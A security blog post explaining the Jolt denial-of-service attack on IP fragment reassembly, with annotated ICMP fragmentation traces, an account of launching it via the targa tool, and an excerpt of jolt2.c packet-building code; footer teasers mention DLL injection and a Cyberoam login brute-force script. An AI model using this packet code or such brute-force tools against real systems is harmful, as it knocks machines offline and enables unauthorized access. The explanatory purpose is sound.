Skip to main content

Jolt Attack:Denial of service


JOLT
The attacker sends the same IP packets (illegally fragmented ICMP ECHOs or illegally fragmented UDP packets) to the attacked machine.  "the affected systems contain a flaw in the code that performs IP fragment re-assembly. If a continuous stream of fragmented IP datagrams with a particular malformation were sent to an affected machine, it could be made to devote most or all of its CPU ability to processing them. The data rate needed to completely deny service varies depending on the machine and network conditions, but in most cases even relatively moderate rate would suffice."

To show fragmentation in practice I choose traces underneath. The first example indicates not fragmented ICMP packet and the second example Indicates fragmented ICMP packets. Examples one and two are not showing the hole packets, but just part of them.

Example 1:
IP: ----- IP Header -----…
IP: Total length = 60 bytes
IP: Identification = 46881
IP: Flags = 0X
IP: .0.. .... = may fragment
IP: ..0. .... = last fragment
IP: Fragment offset = 0 bytes
IP: Time to live = 32 seconds/hops
IP: Protocol = 1 (ICMP)

ICMP: ----- ICMP header -----ICMP:
ICMP: Type = 8 (Echo)
ICMP: Code = 0

Essential values from trace above, which are related to fragmentation are:
Identification = 46881
Total length = 60
More Fragments = 0
Fragment offset = 0
Example 2:
- - - - - - - - - - - - - - - - - - - Packet 1 - - - - - - - - - - - - - - - - - - - -…
IP: ----- IP Header -----IP: Total length = 1500 bytes
IP: Identification = 35362
IP: Flags = 2X
IP: .0.. .... = may fragment
IP: ..1. .... = more fragments
IP: Fragment offset = 0 bytes
IP: Time to live = 32 seconds/hops
IP: Protocol = 1 (ICMP)

ICMP: ----- ICMP header -----ICMP:
ICMP: Type = 8 (Echo)
ICMP: Code = 0

- - - - - - - - - - - - - - - - - - - Packet 2 - - - - - - - - - - - - - - - - - - - -…
IP: ----- IP Header -----IP: Total length = 1500 bytes

IP: Identification = 35362
IP: Flags = 2X
IP: .0.. .... = may fragment
IP: ..1. .... = more fragments
IP: Fragment offset = 1480 bytes
IP: Time to live = 32 seconds/hops
IP: Protocol = 1 (ICMP)

- - - - - - - - - - - - - - - - - - Packet 3 - - - - - - - - - - - - - - - - - - - -…
IP: ----- IP Header -----IP: Total length = 68 bytes
IP: Identification = 35362
IP: Flags = 0X
IP: .0.. .... = may fragment
IP: ..0. .... = last fragment
IP: Fragment offset = 2960 bytes
IP: Time to live = 32 seconds/hops
IP: Protocol = 1 (ICMP)

Essential values from trace above, which are related to fragmentation are:
                            Packet 1                            Packet 2                                    Packet 3
Identification         35362                                35362                                        35362
Total Length        1500-20*=1480              1500-20*=1480                         68-20*=48
More fragments        1                                         1                                               0
Fragment offset        0                                     1480                                           2960

* - IP header

Now we will use targa to launch jolt attack and analyse it with the help of tcpdump.


We have used option 2 to launch jolt attack from targa DOS tool.Now lets go to tcpdump and see what we have.


So we can see following things from above dump:
1)it sends lots of fragmented packets.
2)packets are highly fragment.
3)they are out of order as you can see after offset 46736 we have offset 47120
4)fragmentation is not legal i.e if you add the data length of packet in offset you wont get the next offset.
example offset + length =next-offset
46736+(400-20)=47116 !=47120



Source code/ Pseudo code
"This is the proof of-concept code for the W indows denial-of-service attack described by the Razor
team (NTBugtraq, 19-May-00) (MS00-029). This code causes cpu utilization to go to 100% ".
The below lines comes from jolt2.c:

pkt.ip.v ersion = 4;
pkt.ip.ihl = 5;
pkt.ip.tot_len = htons(iplen + icmplen) + 40;
pkt.ip.id = htons(0x455);
pkt.ip.ttl = 255;
pkt.ip.protocol = (port ? IPPROT O_UDP : IPPROTO_ICMP);
pkt.ip.saddr = src_addr;
pkt.ip.daddr = dst_addr;
pkt.ip.frag_off = htons (8190);
if (port)
{
pkt.proto.udp.source = htons(port|1235);
pkt.proto.udp.dest = htons(port);
pkt.proto.udp.len = htons(9);
pkt.data = 'a';
} else {
pkt.proto.icmp.type = ICMP_ECHO;
pkt.proto.icmp.code = 0;
pkt.proto.icmp.checksum = 0;
}






Comments

Popular posts from this blog

Install Virtual Box On Kali Rolling

If you facing problem with virtualbox installation on kali rolling edition because of its outdated kernel 4.3.0-kali1-amd64 then this post is for you only.

Step1: Install latest kernel. First search the cache for list of available ones apt-cache search linux-headers
Depending upon the list choose one from the set and install install it.
you can download kernel file using wget from ubuntu source also.
example:wget kernel.ubuntu.com/~kernel-ppa/mainline/v4.4.3-wily/linux-image-4.4.3-040403-generic_4.4.3-040403.201602251634_amd64.deb
for more refer to this post: link

Step2:
Edit the boot entry /boot/vmlinuz-(New Linux kernel Version) & /boot/initrd.img-(New Linux kernel version) in grub menu.

Before making boot entry changes be sure these files exist in the /boot directory after running install command.
In my case following new file got created in /boot folder:

1)vmlinuz-4.6.0-kali1-amd64
2)initrd.img-4.6.0-kali1-amd64

Thats all you need to do to install any virtual software on kali r…

Hacking Windows 10 UWP App: DLL Injection & common Vulnerabilities

I recently started working on  widows 10 Apps( Apps not Applications) security. Before diving deep in hacking terms lets try to understand what's new in Windows 10 UWP( Universal Platform) as compared to old Apps. Lets begin with how apps actually work on windows 10(desktop/tablet). Now windows 10 comes with a container only for running apps inside the isolated environment. By default, /APPCONTAINER(Linker Flag) is off. This option modifies an executable to indicate whether the app must be run in the appcontainer process-isolation environment. Specify /APPCONTAINER for an app that must run in the appcontainer environment—for example, a Windows Store app. (The option is set automatically in Visual Studio when you create a Windows Store app from a template.) For a desktop app, specify /APPCONTAINER:NO or just omit the option. The /APPCONTAINER option was introduced in Windows 8.
Now there is no registry entry concept for these app in the System HIVE rather they install they own hiv…

Cyberoam Login Brute Force Script

#
#  ('-.               .-') _                         ) (`-.               _  .-')
#  ( OO ).-.          (  OO) )                         ( OO ).            ( \( -O )
#  / . --. / ,--.     /     '._     ,------.,--. ,--. (_/.  \_)-.  .----.  ,------.
#  | \-.  \  |  |.-') |'--...__) ('-| _.---'|  | |  |  \  `.'  /  /  ..  \ |   /`. '
#.-'-'  |  | |  | OO )'--.  .--' (OO|(_\    |  | | .-') \     /\ .  /  \  .|  /  | |
# \| |_.'  | |  |`-' |   |  |    /  |  '--. |  |_|( OO ) \   \ | |  |  '  ||  |_.' |
#  |  .-.  |(|  '---.'   |  |    \_)|  .--' |  | | `-' /.'    \_)'  \  /  '|  .  '.'
#  |  | |  | |      |    |  |      \|  |_) ('  '-'(_.-'/  .'.  \  \  `'  / |  |\  \
#  `--' `--' `------'    `--'       `--'     `-----'  '--'   '--'  `---''  `--' '--'
# Cyberaom brute force Script
# @aut…